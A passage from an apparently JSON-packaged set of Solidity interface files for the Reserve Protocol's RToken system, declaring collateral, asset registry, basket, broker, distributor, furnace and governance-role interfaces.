SOUND.\nenum CollateralStatus {\n SOUND,\n IFFY, // When a peg is not holding or a chainlink feed is stale\n DISABLED // When the collateral has completely defaulted\n}\n\n/// Upgrade-safe maximum operator for CollateralStatus\nlibrary CollateralStatusComparator {\n /// @return Whether a is worse than b\n function worseThan(CollateralStatus a, CollateralStatus b) internal pure returns (bool) {\n return uint256(a) > uint256(b);\n }\n}\n\n/**\n * @title ICollateral\n * @notice A subtype of Asset that consists of the tokens eligible to back the RToken.\n */\ninterface ICollateral is IAsset {\n /// Emitted whenever the collateral status is changed\n /// @param newStatus The old CollateralStatus\n /// @param newStatus The updated CollateralStatus\n event CollateralStatusChanged(\n CollateralStatus indexed oldStatus,\n CollateralStatus indexed newStatus\n );\n\n /// @dev refresh()\n /// Refresh exchange rates and update default status.\n /// VERY IMPORTANT: In any valid implemntation, status() MUST become DISABLED in refresh() if\n /// refPerTok() has ever decreased since last call.\n\n /// @return The canonical name of this collateral's target unit.\n function targetName() external view returns (bytes32);\n\n /// @return The status of this collateral asset. (Is it defaulting? Might it soon?)\n function status() external view returns (CollateralStatus);\n\n // ==== Exchange Rates ====\n\n /// @return {ref/tok} Quantity of whole reference units per whole collateral tokens\n function refPerTok() external view returns (uint192);\n\n /// @return {target/ref} Quantity of whole target units per whole reference unit in the peg\n function targetPerRef() external view returns (uint192);\n}\n\n// Used only in Testing. Strictly speaking a Collateral does not need to adhere to this interface\ninterface TestICollateral is TestIAsset, ICollateral {\n /// @return The epoch timestamp when the collateral will default from IFFY to DISABLED\n function whenDefault() external view returns (uint256);\n\n /// @return The amount of time a collateral must be in IFFY status until being DISABLED\n function delayUntilDefault() external view returns (uint48);\n\n /// @return The underlying refPerTok, likely not included in all collaterals however.\n function underlyingRefPerTok() external view returns (uint192);\n}\n"
},
"contracts/interfaces/IAssetRegistry.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\n\n/// A serialization of the AssetRegistry to be passed around in the P1 impl for gas optimization\nstruct Registry {\n IERC20[] erc20s;\n IAsset[] assets;\n}\n\n/**\n * @title IAssetRegistry\n * @notice The AssetRegistry is in charge of maintaining the ERC20 tokens eligible\n * to be handled by the rest of the system. If an asset is in the registry, this means:\n * 1. Its ERC20 contract has been vetted\n * 2. The asset is the only asset for that ERC20\n * 3. The asset can be priced in the UoA, usually via an oracle\n */\ninterface IAssetRegistry is IComponent {\n /// Emitted when an asset is added to the registry\n /// @param erc20 The ERC20 contract for the asset\n /// @param asset The asset contract added to the registry\n event AssetRegistered(IERC20 indexed erc20, IAsset indexed asset);\n\n /// Emitted when an asset is removed from the registry\n /// @param erc20 The ERC20 contract for the asset\n /// @param asset The asset contract removed from the registry\n event AssetUnregistered(IERC20 indexed erc20, IAsset indexed asset);\n\n // Initialization\n function init(IMain main_, IAsset[] memory assets_) external;\n\n /// Fully refresh all asset state\n /// @custom:refresher\n function refresh() external;\n\n /// Register `asset`\n /// If either the erc20 address or the asset was already registered, fail\n /// @return true if the erc20 address was not already registered.\n /// @custom:governance\n function register(IAsset asset) external returns (bool);\n\n /// Register `asset` if and only if its erc20 address is already registered.\n /// If the erc20 address was not registered, revert.\n /// @return swapped If the asset was swapped for a previously-registered asset\n /// @custom:governance\n function swapRegistered(IAsset asset) external returns (bool swapped);\n\n /// Unregister an asset, requiring that it is already registered\n /// @custom:governance\n function unregister(IAsset asset) external;\n\n /// @return {s} The timestamp of the last refresh\n function lastRefresh() external view returns (uint48);\n\n /// @return The corresponding asset for ERC20, or reverts if not registered\n function toAsset(IERC20 erc20) external view returns (IAsset);\n\n /// @return The corresponding collateral, or reverts if unregistered or not collateral\n function toColl(IERC20 erc20) external view returns (ICollateral);\n\n /// @return If the ERC20 is registered\n function isRegistered(IERC20 erc20) external view returns (bool);\n\n /// @return A list of all registered ERC20s\n function erc20s() external view returns (IERC20[] memory);\n\n /// @return reg The list of registered ERC20s and Assets, in the same order\n function getRegistry() external view returns (Registry memory reg);\n\n /// @return The number of registered ERC20s\n function size() external view returns (uint256);\n}\n"
},
"contracts/interfaces/IBackingManager.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAssetRegistry.sol\";\nimport \"./IBasketHandler.sol\";\nimport \"./IBroker.sol\";\nimport \"./IComponent.sol\";\nimport \"./IRToken.sol\";\nimport \"./IStRSR.sol\";\nimport \"./ITrading.sol\";\n\n/// Memory struct for RecollateralizationLibP1 + RTokenAsset\n/// Struct purposes:\n/// 1. Configure trading\n/// 2. Stay under stack limit with fewer vars\n/// 3. Cache information such as component addresses and basket quantities, to save on gas\nstruct TradingContext {\n BasketRange basketsHeld; // {BU}\n // basketsHeld.top is the number of partial baskets units held\n // basketsHeld.bottom is the number of full basket units held\n\n // Components\n IBasketHandler bh;\n IAssetRegistry ar;\n IStRSR stRSR;\n IERC20 rsr;\n IRToken rToken;\n // Gov Vars\n uint192 minTradeVolume; // {UoA}\n uint192 maxTradeSlippage; // {1}\n // Cached values\n uint192[] quantities; // {tok/BU} basket quantities\n uint192[] bals; // {tok} balances in BackingManager + out on trades\n}\n\n/**\n * @title IBackingManager\n * @notice The BackingManager handles changes in the ERC20 balances that back an RToken.\n * - It computes which trades to perform, if any, and initiates these trades with the Broker.\n * - rebalance()\n * - If already collateralized, excess assets are transferred to RevenueTraders.\n * - forwardRevenue(IERC20[] calldata erc20s)\n */\ninterface IBackingManager is IComponent, ITrading {\n /// Emitted when the trading delay is changed\n /// @param oldVal The old trading delay\n /// @param newVal The new trading delay\n event TradingDelaySet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the backing buffer is changed\n /// @param oldVal The old backing buffer\n /// @param newVal The new backing buffer\n event BackingBufferSet(uint192 oldVal, uint192 newVal);\n\n // Initialization\n function init(\n IMain main_,\n uint48 tradingDelay_,\n uint192 backingBuffer_,\n uint192 maxTradeSlippage_,\n uint192 minTradeVolume_\n ) external;\n\n // Give RToken max allowance over a registered token\n /// @custom:refresher\n /// @custom:interaction\n function grantRTokenAllowance(IERC20) external;\n\n /// Apply the overall backing policy using the specified TradeKind, taking a haircut if unable\n /// @param kind TradeKind.DUTCH_AUCTION or TradeKind.BATCH_AUCTION\n /// @custom:interaction RCEI\n function rebalance(TradeKind kind) external;\n\n /// Forward revenue to RevenueTraders; reverts if not fully collateralized\n /// @param erc20s The tokens to forward\n /// @custom:interaction RCEI\n function forwardRevenue(IERC20[] calldata erc20s) external;\n\n /// Structs for trading\n /// @param basketsHeld The number of baskets held by the BackingManager\n /// @return ctx The TradingContext\n /// @return reg Contents of AssetRegistry.getRegistry()\n function tradingContext(BasketRange memory basketsHeld)\n external\n view\n returns (TradingContext memory ctx, Registry memory reg);\n}\n\ninterface TestIBackingManager is IBackingManager, TestITrading {\n function tradingDelay() external view returns (uint48);\n\n function backingBuffer() external view returns (uint192);\n\n function setTradingDelay(uint48 val) external;\n\n function setBackingBuffer(uint192 val) external;\n}\n"
},
"contracts/interfaces/IBasketHandler.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\n\nstruct BasketRange {\n uint192 bottom; // {BU}\n uint192 top; // {BU}\n}\n\n/**\n * @title IBasketHandler\n * @notice The BasketHandler aims to maintain a reference basket of constant target unit amounts.\n * When a collateral token defaults, a new reference basket of equal target units is set.\n * When _all_ collateral tokens default for a target unit, only then is the basket allowed to fall\n * in terms of target unit amounts. The basket is considered defaulted in this case.\n */\ninterface IBasketHandler is IComponent {\n /// Emitted when the prime basket is set\n /// @param erc20s The collateral tokens for the prime basket\n /// @param targetAmts {target/BU} A list of quantities of target unit per basket unit\n /// @param targetNames Each collateral token's targetName\n event PrimeBasketSet(IERC20[] erc20s, uint192[] targetAmts, bytes32[] targetNames);\n\n /// Emitted when the reference basket is set\n /// @param nonce {basketNonce} The basket nonce\n /// @param erc20s The list of collateral tokens in the reference basket\n /// @param refAmts {ref/BU} The reference amounts of the basket collateral tokens\n /// @param disabled True when the list of erc20s + refAmts may not be correct\n event BasketSet(uint256 indexed nonce, IERC20[] erc20s, uint192[] refAmts, bool disabled);\n\n /// Emitted when a backup config is set for a target unit\n /// @param targetName The name of the target unit as a bytes32\n /// @param max The max number to use from `erc20s`\n /// @param erc20s The set of backup collateral tokens\n event BackupConfigSet(bytes32 indexed targetName, uint256 max, IERC20[] erc20s);\n\n /// Emitted when the warmup period is changed\n /// @param oldVal The old warmup period\n /// @param newVal The new warmup period\n event WarmupPeriodSet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the status of a basket has changed\n /// @param oldStatus The previous basket status\n /// @param newStatus The new basket status\n event BasketStatusChanged(CollateralStatus oldStatus, CollateralStatus newStatus);\n\n /// Emitted when the last basket nonce available for redemption is changed\n /// @param oldVal The old value of lastCollateralized\n /// @param newVal The new value of lastCollateralized\n event LastCollateralizedChanged(uint48 oldVal, uint48 newVal);\n\n // Initialization\n function init(\n IMain main_,\n uint48 warmupPeriod_,\n bool reweightable_\n ) external;\n\n /// Set the prime basket\n /// For an index RToken (reweightable = true), use forceSetPrimeBasket to skip normalization\n /// @param erc20s The collateral tokens for the new prime basket\n /// @param targetAmts The target amounts (in) {target/BU} for the new prime basket\n /// required range: 1e9 values; absolute range irrelevant.\n /// @custom:governance\n function setPrimeBasket(IERC20[] calldata erc20s, uint192[] calldata targetAmts) external;\n\n /// Set the prime basket without normalizing targetAmts by the UoA of the current basket\n /// Works the same as setPrimeBasket for non-index RTokens (reweightable = false)\n /// @param erc20s The collateral tokens for the new prime basket\n /// @param targetAmts The target amounts (in) {target/BU} for the new prime basket\n /// required range: 1e9 values; absolute range irrelevant.\n /// @custom:governance\n function forceSetPrimeBasket(IERC20[] calldata erc20s, uint192[] calldata targetAmts) external;\n\n /// Set the backup configuration for a given target\n /// @param targetName The name of the target as a bytes32\n /// @param max The maximum number of collateral tokens to use from this target\n /// Required range: 1-255\n /// @param erc20s A list of ordered backup collateral tokens\n /// @custom:governance\n function setBackupConfig(\n bytes32 targetName,\n uint256 max,\n IERC20[] calldata erc20s\n ) external;\n\n /// Default the basket in order to schedule a basket refresh\n /// @custom:protected\n function disableBasket() external;\n\n /// Governance-controlled setter to cause a basket switch explicitly\n /// @custom:governance\n /// @custom:interaction\n function refreshBasket() external;\n\n /// Track the basket status changes\n /// @custom:refresher\n function trackStatus() external;\n\n /// Track when last collateralized\n /// @custom:refresher\n function trackCollateralization() external;\n\n /// @return If the BackingManager has sufficient collateral to redeem the entire RToken supply\n function fullyCollateralized() external view returns (bool);\n\n /// @return status The worst CollateralStatus of all collateral in the basket\n function status() external view returns (CollateralStatus status);\n\n /// @return If the basket is ready to issue and trade\n function isReady() external view returns (bool);\n\n /// @param erc20 The ERC20 token contract for the asset\n /// @return {tok/BU} The whole token quantity of token in the reference basket\n /// Returns 0 if erc20 is not registered or not in the basket\n /// Returns FIX_MAX (in lieu of +infinity) if Collateral.refPerTok() is 0.\n /// Otherwise, returns (token's basket.refAmts / token's Collateral.refPerTok())\n function quantity(IERC20 erc20) external view returns (uint192);\n\n /// Like quantity(), but unsafe because it DOES NOT CONFIRM THAT THE ASSET IS CORRECT\n /// @param erc20 The ERC20 token contract for the asset\n /// @param asset The registered asset plugin contract for the erc20\n /// @return {tok/BU} The whole token quantity of token in the reference basket\n /// Returns 0 if erc20 is not registered or not in the basket\n /// Returns FIX_MAX (in lieu of +infinity) if Collateral.refPerTok() is 0.\n /// Otherwise, returns (token's basket.refAmts / token's Collateral.refPerTok())\n function quantityUnsafe(IERC20 erc20, IAsset asset) external view returns (uint192);\n\n /// @param amount {BU}\n /// @return erc20s The addresses of the ERC20 tokens in the reference basket\n /// @return quantities {qTok} The quantity of each ERC20 token to issue `amount` baskets\n function quote(uint192 amount, RoundingMode rounding)\n external\n view\n returns (address[] memory erc20s, uint256[] memory quantities);\n\n /// Return the redemption value of `amount` BUs for a linear combination of historical baskets\n /// @param basketNonces An array of basket nonces to do redemption from\n /// @param portions {1} An array of Fix quantities that must add up to FIX_ONE\n /// @param amount {BU}\n /// @return erc20s The backing collateral erc20s\n /// @return quantities {qTok} ERC20 token quantities equal to `amount` BUs\n function quoteCustomRedemption(\n uint48[] memory basketNonces,\n uint192[] memory portions,\n uint192 amount\n ) external view returns (address[] memory erc20s, uint256[] memory quantities);\n\n /// @return top {BU} The number of partial basket units: e.g max(coll.map((c) => c.balAsBUs())\n /// bottom {BU} The number of whole basket units held by the account\n function basketsHeldBy(address account) external view returns (BasketRange memory);\n\n /// Should not revert\n /// low should be nonzero when BUs are worth selling\n /// @return low {UoA/BU} The lower end of the price estimate\n /// @return high {UoA/BU} The upper end of the price estimate\n function price() external view returns (uint192 low, uint192 high);\n\n /// Should not revert\n /// lotLow should be nonzero if a BU could be worth selling\n /// @dev Deprecated. Phased out in 3.1.0, but left on interface for backwards compatibility\n /// @return lotLow {UoA/tok} The lower end of the lot price estimate\n /// @return lotHigh {UoA/tok} The upper end of the lot price estimate\n function lotPrice() external view returns (uint192 lotLow, uint192 lotHigh);\n\n /// @return timestamp The timestamp at which the basket was last set\n function timestamp() external view returns (uint48);\n\n /// @return The current basket nonce, regardless of status\n function nonce() external view returns (uint48);\n}\n\ninterface TestIBasketHandler is IBasketHandler {\n function warmupPeriod() external view returns (uint48);\n\n function setWarmupPeriod(uint48 val) external;\n}\n"
},
"contracts/interfaces/IBroker.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./IGnosis.sol\";\nimport \"./ITrade.sol\";\n\nenum TradeKind {\n DUTCH_AUCTION,\n BATCH_AUCTION\n}\n\n/// Cache of all prices for a pair to prevent re-lookup\nstruct TradePrices {\n uint192 sellLow; // {UoA/sellTok} can be 0\n uint192 sellHigh; // {UoA/sellTok} should not be 0\n uint192 buyLow; // {UoA/buyTok} should not be 0\n uint192 buyHigh; // {UoA/buyTok} should not be 0 or FIX_MAX\n}\n\n/// The data format that describes a request for trade with the Broker\nstruct TradeRequest {\n IAsset sell;\n IAsset buy;\n uint256 sellAmount; // {qSellTok}\n uint256 minBuyAmount; // {qBuyTok}\n}\n\n/**\n * @title IBroker\n * @notice The Broker deploys oneshot Trade contracts for Traders and monitors\n * the continued proper functioning of trading platforms.\n */\ninterface IBroker is IComponent {\n event GnosisSet(IGnosis oldVal, IGnosis newVal);\n event BatchTradeImplementationSet(ITrade oldVal, ITrade newVal);\n event DutchTradeImplementationSet(ITrade oldVal, ITrade newVal);\n event BatchAuctionLengthSet(uint48 oldVal, uint48 newVal);\n event DutchAuctionLengthSet(uint48 oldVal, uint48 newVal);\n event BatchTradeDisabledSet(bool prevVal, bool newVal);\n event DutchTradeDisabledSet(IERC20Metadata indexed erc20, bool prevVal, bool newVal);\n\n // Initialization\n function init(\n IMain main_,\n IGnosis gnosis_,\n ITrade batchTradeImplemention_,\n uint48 batchAuctionLength_,\n ITrade dutchTradeImplemention_,\n uint48 dutchAuctionLength_\n ) external;\n\n /// Request a trade from the broker\n /// @dev Requires setting an allowance in advance\n /// @custom:interaction\n function openTrade(\n TradeKind kind,\n TradeRequest memory req,\n TradePrices memory prices\n ) external returns (ITrade);\n\n /// Only callable by one of the trading contracts the broker deploys\n function reportViolation() external;\n\n function batchTradeDisabled() external view returns (bool);\n\n function dutchTradeDisabled(IERC20Metadata erc20) external view returns (bool);\n}\n\ninterface TestIBroker is IBroker {\n function gnosis() external view returns (IGnosis);\n\n function batchTradeImplementation() external view returns (ITrade);\n\n function dutchTradeImplementation() external view returns (ITrade);\n\n function batchAuctionLength() external view returns (uint48);\n\n function dutchAuctionLength() external view returns (uint48);\n\n function setGnosis(IGnosis newGnosis) external;\n\n function setBatchTradeImplementation(ITrade newTradeImplementation) external;\n\n function setBatchAuctionLength(uint48 newAuctionLength) external;\n\n function setDutchTradeImplementation(ITrade newTradeImplementation) external;\n\n function setDutchAuctionLength(uint48 newAuctionLength) external;\n\n function enableBatchTrade() external;\n\n function enableDutchTrade(IERC20Metadata erc20) external;\n\n // only present on pre-3.0.0 Brokers; used by EasyAuction regression test\n function disabled() external view returns (bool);\n}\n"
},
"contracts/interfaces/IComponent.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IMain.sol\";\nimport \"./IVersioned.sol\";\n\n/**\n * @title IComponent\n * @notice A Component is the central building block of all our system contracts. Components\n * contain important state that must be migrated during upgrades, and they delegate\n * their ownership to Main's owner.\n */\ninterface IComponent is IVersioned {\n function main() external view returns (IMain);\n}\n"
},
"contracts/interfaces/IDistributor.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IComponent.sol\";\n\nuint256 constant MAX_DISTRIBUTION = 1e4; // 10,000\nuint8 constant MAX_DESTINATIONS = 100; // maximum number of RevenueShare destinations\n\nstruct RevenueShare {\n uint16 rTokenDist; // {revShare} A value between [0, 10,000]\n uint16 rsrDist; // {revShare} A value between [0, 10,000]\n}\n\n/// Assumes no more than 100 independent distributions.\nstruct RevenueTotals {\n uint24 rTokenTotal; // {revShare}\n uint24 rsrTotal; // {revShare}\n}\n\n/**\n * @title IDistributor\n * @notice The Distributor Component maintains a revenue distribution table that dictates\n * how to divide revenue across the Furnace, StRSR, and any other destinations.\n */\ninterface IDistributor is IComponent {\n /// Emitted when a distribution is set\n /// @param dest The address set to receive the distribution\n /// @param rTokenDist The distribution of RToken that should go to `dest`\n /// @param rsrDist The distribution of RSR that should go to `dest`\n event DistributionSet(address indexed dest, uint16 rTokenDist, uint16 rsrDist);\n\n /// Emitted when revenue is distributed\n /// @param erc20 The token being distributed, either RSR or the RToken itself\n /// @param source The address providing the revenue\n /// @param amount The amount of the revenue\n event RevenueDistributed(IERC20 indexed erc20, address indexed source, uint256 amount);\n\n // Initialization\n function init(IMain main_, RevenueShare memory dist) external;\n\n /// @custom:governance\n function setDistribution(address dest, RevenueShare memory share) external;\n\n /// Distribute the `erc20` token across all revenue destinations\n /// Only callable by RevenueTraders\n /// @custom:protected\n function distribute(IERC20 erc20, uint256 amount) external;\n\n /// @return revTotals The total of all destinations\n function totals() external view returns (RevenueTotals memory revTotals);\n}\n\ninterface TestIDistributor is IDistributor {\n // solhint-disable-next-line func-name-mixedcase\n function FURNACE() external view returns (address);\n\n // solhint-disable-next-line func-name-mixedcase\n function ST_RSR() external view returns (address);\n\n /// @return rTokenDist The RToken distribution for the address\n /// @return rsrDist The RSR distribution for the address\n function distribution(address) external view returns (uint16 rTokenDist, uint16 rsrDist);\n}\n"
},
"contracts/interfaces/IFurnace.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"../libraries/Fixed.sol\";\nimport \"./IComponent.sol\";\n\n/**\n * @title IFurnace\n * @notice A helper contract to burn RTokens slowly and permisionlessly.\n */\ninterface IFurnace is IComponent {\n // Initialization\n function init(IMain main_, uint192 ratio_) external;\n\n /// Emitted when the melting ratio is changed\n /// @param oldRatio The old ratio\n /// @param newRatio The new ratio\n event RatioSet(uint192 oldRatio, uint192 newRatio);\n\n function ratio() external view returns (uint192);\n\n /// Needed value range: [0, 1], granularity 1e-9\n /// @custom:governance\n function setRatio(uint192) external;\n\n /// Performs any RToken melting that has vested since the last payout.\n /// @custom:refresher\n function melt() external;\n}\n\ninterface TestIFurnace is IFurnace {\n function lastPayout() external view returns (uint256);\n\n function lastPayoutBal() external view returns (uint256);\n}\n"
},
"contracts/interfaces/IGnosis.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\nstruct GnosisAuctionData {\n IERC20 auctioningToken;\n IERC20 biddingToken;\n uint256 orderCancellationEndDate;\n uint256 auctionEndDate;\n bytes32 initialAuctionOrder;\n uint256 minimumBiddingAmountPerOrder;\n uint256 interimSumBidAmount;\n bytes32 interimOrder;\n bytes32 clearingPriceOrder;\n uint96 volumeClearingPriceOrder;\n bool minFundingThresholdNotReached;\n bool isAtomicClosureAllowed;\n uint256 feeNumerator;\n uint256 minFundingThreshold;\n}\n\n/// The relevant portion of the interface of the live Gnosis EasyAuction contract\n/// https://github.com/gnosis/ido-contracts/blob/main/contracts/EasyAuction.sol\ninterface IGnosis {\n function initiateAuction(\n IERC20 auctioningToken,\n IERC20 biddingToken,\n uint256 orderCancellationEndDate,\n uint256 auctionEndDate,\n uint96 auctionedSellAmount,\n uint96 minBuyAmount,\n uint256 minimumBiddingAmountPerOrder,\n uint256 minFundingThreshold,\n bool isAtomicClosureAllowed,\n address accessManagerContract,\n bytes memory accessManagerContractData\n ) external returns (uint256 auctionId);\n\n function auctionData(uint256 auctionId) external view returns (GnosisAuctionData memory);\n\n /// @param auctionId The external auction id\n /// @dev See here for decoding: https://git.io/JMang\n /// @return encodedOrder The order, encoded in a bytes 32\n function settleAuction(uint256 auctionId) external returns (bytes32 encodedOrder);\n\n /// @return The numerator over a 1000-valued denominator\n function feeNumerator() external returns (uint256);\n}\n"
},
"contracts/interfaces/IMain.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAssetRegistry.sol\";\nimport \"./IBasketHandler.sol\";\nimport \"./IBackingManager.sol\";\nimport \"./IBroker.sol\";\nimport \"./IGnosis.sol\";\nimport \"./IFurnace.sol\";\nimport \"./IDistributor.sol\";\nimport \"./IRToken.sol\";\nimport \"./IRevenueTrader.sol\";\nimport \"./IStRSR.sol\";\nimport \"./ITrading.sol\";\nimport \"./IVersioned.sol\";\n\n// === Auth roles ===\n\nbytes32 constant OWNER = bytes32(bytes(\"OWNER\"));\nbytes32 constant SHORT_FREEZER = bytes32(bytes(\"SHORT_FREEZER\"));\nbytes32 constant LONG_FREEZER = bytes32(bytes(\"LONG_FREEZER\"));\nbytes32 constant PAUSER = bytes32(bytes(\"PAUSER\"));\n\n/**\n * Main is a central hub that maintains a list of Component contracts.\n *\n * Components:\n * - perform a specific function\n * - defer auth to Main\n * - usually (but not always) contain sizeable state that require a proxy\n */\nstruct Components {\n // Definitely need proxy\n IRToken rToken;\n IStRSR stRSR;\n IAssetRegistry assetRegistry;\n IBasketHandler basketHandler;\n IBackingManager backingManager;\n IDistributor distributor;\n IFurnace furnace;\n IBroker broker;\n IRevenueTrader rsrTrader;\n IRevenueTrader rTokenTrader;\n}\n\ninterface IAuth is IAccessControlUpgradeable {\n /// Emitted when `unfreezeAt` is changed\n /// @param oldVal The old value of `unfreezeAt`\n /// @param newVal The new value of `unfreezeAt`\n event UnfreezeAtSet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the short freeze duration governance param is changed\n /// @param oldDuration The old short freeze duration\n /// @param newDuration The new short freeze duration\n event ShortFreezeDurationSet(uint48 oldDuration, uint48 newDuration);\n\n /// Emitted when the long freeze duration governance param is changed\n /// @param oldDuration The old long freeze duration\n /// @param newDuration The new long freeze duration\n event LongFreezeDurationSet(uint48 oldDuration, uint48 newDuration);\n\n /// Emitted when the system is paused or unpaused for trading\n /// @param oldVal The old value of `tradingPaused`\n /// @param newVal The new value of `tradingPaused`\n event TradingPausedSet(bool oldVal, bool newVal);\n\n /// Emitted when the system is paused or unpaused for issuance\n /// @param oldVal The old value of `issuancePaused`\n /// @param newVal The new value of `issuancePaused`\n event IssuancePausedSet(bool oldVal, bool newVal);\n\n /**\n * Trading Paused: Disable everything except for OWNER actions, RToken.issue, RToken.redeem,\n * StRSR.stake, and StRSR.payoutRewards\n * Issuance Paused: Disable RToken.issue\n * Frozen: Disable everything except for OWNER actions + StRSR.stake (for governance)\n */\n\n function tradingPausedOrFrozen() external view returns (bool);\n\n function issuancePausedOrFrozen() external view returns (bool);\n\n function frozen() external view returns (bool);\n\n function shortFreeze() external view returns (uint48);\n\n function longFreeze() external view returns (uint48);\n\n // ====\n\n // onlyRole(OWNER)\n function freezeForever() external;\n\n // onlyRole(SHORT_FREEZER)\n function freezeShort() external;\n\n // onlyRole(LONG_FREEZER)\n function freezeLong() external;\n\n // onlyRole(OWNER)\n function unfreeze() external;\n\n function pauseTrading() external;\n\n function unpauseTrading() external;\n\n function pauseIssuance() external;\n\n function unpauseIssuance() external;\n}\n\ninterface IComponentRegistry {\n // === Component setters/getters ===\n\n event RTokenSet(IRToken indexed oldVal, IRToken indexed newVal);\n\n function rToken() external view returns (IRToken);\n\n event StRSRSet(IStRSR oldVal, IStRSR newVal);\n\n function stRSR() external view returns (IStRSR);\n\n event AssetRegistrySet(IAssetRegistry oldVal, IAssetRegistry newVal);\n\n function assetRegistry() external view returns (IAssetRegistry);\n\n event BasketHandlerSet(IBasketHandler oldVal, IBasketHandler newVal);\n\n function basketHandler() external view returns (IBasketHandler);\n\n event BackingManagerSet(IBackingManager oldVal, IBackingManager newVal);\n\n function backingManager() external view returns (IBackingManager);\n\n event DistributorSet(IDistributor oldVal, IDistributor newVal);\n\n function distributor() external view returns (IDistributor);\n\n event RSRTraderSet(IRevenueTrader oldVal, IRevenueTrader newVal);\n\n function rsrTrader() external view returns (IRevenueTrader);\n\n event RTokenTraderSet(IRevenueTrader oldVal, IRevenueTrader newVal);\n\n function rTokenTrader() external view returns (IRevenueTrader);\n\n event FurnaceSet(IFurnace oldVal, IFurnace newVal);\n\n function furnace() external view returns (IFurnace);\n\n event BrokerSet(IBroker oldVal, IBroker newVal);\n\n function broker() external view returns (IBroker);\n}\n\n/**\n * @title IMain\n * @notice The central hub for the entire system. Maintains components and an owner singleton role\n */\ninterface IMain is IVersioned, IAuth, IComponentRegistry {\n function poke() external; // not used in p1\n\n // === Initialization ===\n\n event MainInitialized();\n\n function init(\n Components memory components,\n IERC20 rsr_,\n uint48 shortFreeze_,\n uint48 longFreeze_\n ) external;\n\n function rsr() external view returns (IERC20);\n}\n\ninterface TestIMain is IMain {\n /// @custom:governance\n function setShortFreeze(uint48) external;\n\n /// @custom:governance\n function setLongFreeze(uint48) external;\n\n function shortFreeze() external view returns (uint48);\n\n function longFreeze() external view returns (uint48);\n\n function longFreezes(address account) external view returns (uint256);\n\n function tradingPaused() external view returns (bool);\n\n function issuancePaused() external view returns (bool);\n}\n"
},
"contracts/interfaces/IRevenueTrader.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IBroker.sol\";\nimport \"./IComponent.sol\";\nimport \"./ITrading.sol\";\n\n/**\n * @title IRevenueTrader\n * @notice The RevenueTrader is an extension of the trading mixin that trades all\n * assets at its address for a single target asset. There are two runtime instances\n * of the RevenueTrader, 1 for RToken and 1 for RSR.\n */\ninterface IRevenueTrader is IComponent, ITrading {\n // Initialization\n function init(\n IMain main_,\n IERC20 tokenToBuy_,\n uint192 maxTradeSlippage_,\n uint192 minTradeVolume_\n ) external;\n\n /// Distribute tokenToBuy to its destinations\n /// @dev Special-case of manageTokens()\n /// @custom:interaction\n function distributeTokenToBuy() external;\n\n /// Return registered ERC20s to the BackingManager if distribution for tokenToBuy is 0\n /// @custom:interaction\n function returnTokens(IERC20[] memory erc20s) external;\n\n /// Process some number of tokens\n /// If the tokenToBuy is included in erc20s, RevenueTrader will distribute it at end of the tx\n /// @param erc20s The ERC20s to manage; can be tokenToBuy or anything registered\n /// @param kinds The kinds of auctions to launch: DUTCH_AUCTION | BATCH_AUCTION\n /// @custom:interaction\n function manageTokens(IERC20[] memory erc20s, TradeKind[] memory kinds) external;\n\n function tokenToBuy() external view returns (IERC20);\n}\n\n// solhint-disable-next-line no-empty-blocks\ninterface TestIRevenueTrader is IRevenueTrader, TestITrading {\n\n}\n"
},
"contracts/interfaces/IRewardable.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\n\n/**\n * @title IRewardable\n * @notice A simple interface mixin to support claiming of rewards.\n */\ninterface IRewardable {\n /// Emitted whenever a reward token balance is claimed\n /// @param erc20 The ERC20 of the reward token\n /// @param amount {qTok}\n event RewardsClaimed(IERC20 indexed erc20, uint256 amount);\n\n /// Claim rewards earned by holding a balance of the ERC20 token\n /// Must emit `RewardsClaimed` for each token rewards are claimed for\n /// @custom:interaction\n function claimRewards() external;\n}\n\n/**\n * @title IRewardableComponent\n * @notice A simple interface mixin to support claiming of rewards.\n */\ninterface IRewardableComponent is IRewardable {\n /// Claim rewards for a single ERC20\n /// Must emit `RewardsClaimed` for each token rewards are claimed for\n /// @custom:interaction\n function claimRewardsSingle(IERC20 erc20) external;\n}\n"
},
"contracts/interfaces/IRToken.sol": {
